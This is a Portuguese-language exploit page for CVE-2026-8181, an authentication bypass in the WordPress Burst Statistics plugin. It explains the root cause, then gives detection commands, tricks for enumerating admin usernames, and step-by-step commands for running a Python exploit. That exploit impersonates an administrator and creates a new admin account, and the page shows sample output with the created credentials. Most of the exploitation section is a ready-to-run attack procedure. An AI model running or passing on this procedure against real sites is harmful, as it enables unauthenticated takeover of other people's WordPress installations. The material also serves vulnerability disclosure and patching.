Isso permite que atacantes não autenticados que conheçam um nome de usuário administrador válido se façam passar por esse administrador durante a duração de qualquer requisição REST API, incluindo endpoints principais do WordPress como POST /wp-json/wp/v2/users. As credenciais do administrador existente nunca são comprometidas, mas o atacante ganha seus privilégios tempo suficiente para criar uma nova conta de administrador.

🔬 Análise da Causa Raiz

A cadeia de vulnerabilidade é a seguinte:

1. includes/class-burst.php:41 -> O plugin registra init() em plugins_loaded prioridade 9, que executa bootstrap() e chama has_admin_access() para cada requisição (REST incluído).

2. includes/Traits/trait-admin-helper.php:202 -> Quando a requisição carrega o cabeçalho X-BurstMainWP: 1, has_admin_access() instancia MainWP_Proxy e delega a autenticação para is_mainwp_authenticated().

3. includes/Frontend/class-mainwp-proxy.php:314 -> O método lê o cabeçalho Authorization, decodifica as credenciais Basic e encaminha o username / password fornecido pelo atacante para a função wp_authenticate_application_password() do núcleo do WordPress.

4. includes/Frontend/class-mainwp-proxy.php:328-329 -> O valor de retorno é verificado apenas com is_wp_error(). O núcleo do WordPress retorna o $input_user não modificado (aqui null) quando as Senhas de Aplicação não estão em uso ou quando a requisição não é sinalizada como uma requisição de API. Na prioridade 9 do plugins_loaded, a REST API ainda não definiu o filtro application_password_is_api_request como true, então a segunda condição é sempre atendida quando o código vulnerável é executado — e null não é um WP_Error, então a guarda passa.

5. includes/Frontend/class-mainwp-proxy.php:336 -> wp_set_current_user( $user->ID ) é chamado com o usuário obtido puramente a partir do nome de usuário fornecido pelo atacante, definindo o usuário autenticado globalmente para toda a requisição.

Uma única requisição HTTP com uma senha falsa é, portanto, suficiente para se passar por qualquer administrador no nível da REST API do núcleo do WordPress.

🔎 Detecção da instalação do plugin

1. Plugin ativo — o HTML da página inicial referencia seus assets apenas quando o plugin está enfileirado:

   root@kitploit:~

   echo http://127.0.0.1:8000 | httpx -silent -mr '/wp-content/plugins/burst-statistics/'
   

2. Versão — readme.txt é servido estaticamente e expõe a versão instalada (vulnerável: 3.4.0–3.4.1.1, corrigida: 3.4.2+):

   root@kitploit:~

   echo http://127.0.0.1:8000 | httpx -silent -path /wp-content/plugins/burst-statistics/readme.txt -er 'Stable tag:\s*[0-9][0-9a-zA-Z.\-]*'
   

O template nuclei incorporado CVE-2026-8181.yaml automatiza ambas as verificações e a comparação de versões:

🎯 Exploração

Uma vez que uma versão vulnerável do plugin foi detectada, a exploração requer conhecer um nome de usuário administrador válido. A REST API do WordPress os vaza na maioria das instalações através do endpoint público de usuários:

Quando esse endpoint está bloqueado (ex.: por Disable REST API ou Stop User Enumeration), o truque do arquivo de autor (/?author=N) geralmente ainda vaza o nome de usuário via redirecionamento para /author/<username>/.

Com um nome de usuário válido em mãos, o exploit cria uma nova conta de administrador em uma única requisição:

0. Instale as dependências Python:

   root@kitploit:~

   python3 -m venv venv
   venv/bin/pip install -r requirements.txt
   

1. Execute o exploit contra o alvo, fornecendo um nome de usuário administrador conhecido com -u:

   root@kitploit:~

   venv/bin/python3 CVE-2026-8181.py -t http://127.0.0.1:8000 -u admin
   

   Exemplo de saída:

   root@kitploit:~

   [2026-05-16] [12:20:20] [info] [config] Impersonating admin='admin', will create new admin 'pwn_322a4903' / 'kS8D^2A^P^%UtWyuUS3p8%64' ([email protected]).
   [2026-05-16] [12:20:21] [success] [http://127.0.0.1:8000] Authentication bypass successful — new administrator created: username='pwn_322a4903' password='kS8D^2A^P^%UtWyuUS3p8%64'
   

2. Faça login em /wp-admin/ com a nova conta de administrador criada.

⚠️ Limitações

O bypass só funciona se o cabeçalho Authorization chegar ao PHP via $_SERVER['HTTP_AUTHORIZATION']. No Apache + mod_php com permalinks simples (padrão de fábrica do WordPress), nenhum .htaccess é gerado e o cabeçalho é silenciosamente removido — o exploit não pode ser bem-sucedido.

Mudar para qualquer permalink não simples em Configurações → Permalinks faz com que o WordPress 5.6+ escreva a diretiva RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] no .htaccess, restaurando o encaminhamento. Nginx + PHP-FPM e LiteSpeed encaminham Authorization por padrão independentemente dos permalinks. Permalinks bonitos sendo a norma de SEO em produção é o motivo pelo qual esta vulnerabilidade é classificada como CVSS 9.8 não autenticada.

O exploit tenta /wp-json/wp/v2/users primeiro e depois recorre a /index.php?rest_route=/wp/v2/users, então o roteamento de endpoint nunca é o bloqueador — apenas o encaminhamento de cabeçalho é.

📚 Referências

• https://www.wordfence.com/blog/2026/05/200000-wordpress-sites-at-risk-from-critical-authentication-bypass-vulnerability-in-burst-statistics-plugin/
• https://www.wordfence.com/threat-intel/vulnerabilities/id/8ca830d6-3d3c-4026-85cd-8447b8a568d3
• https://www.cve.org/CVERecord?id=CVE-2026-8181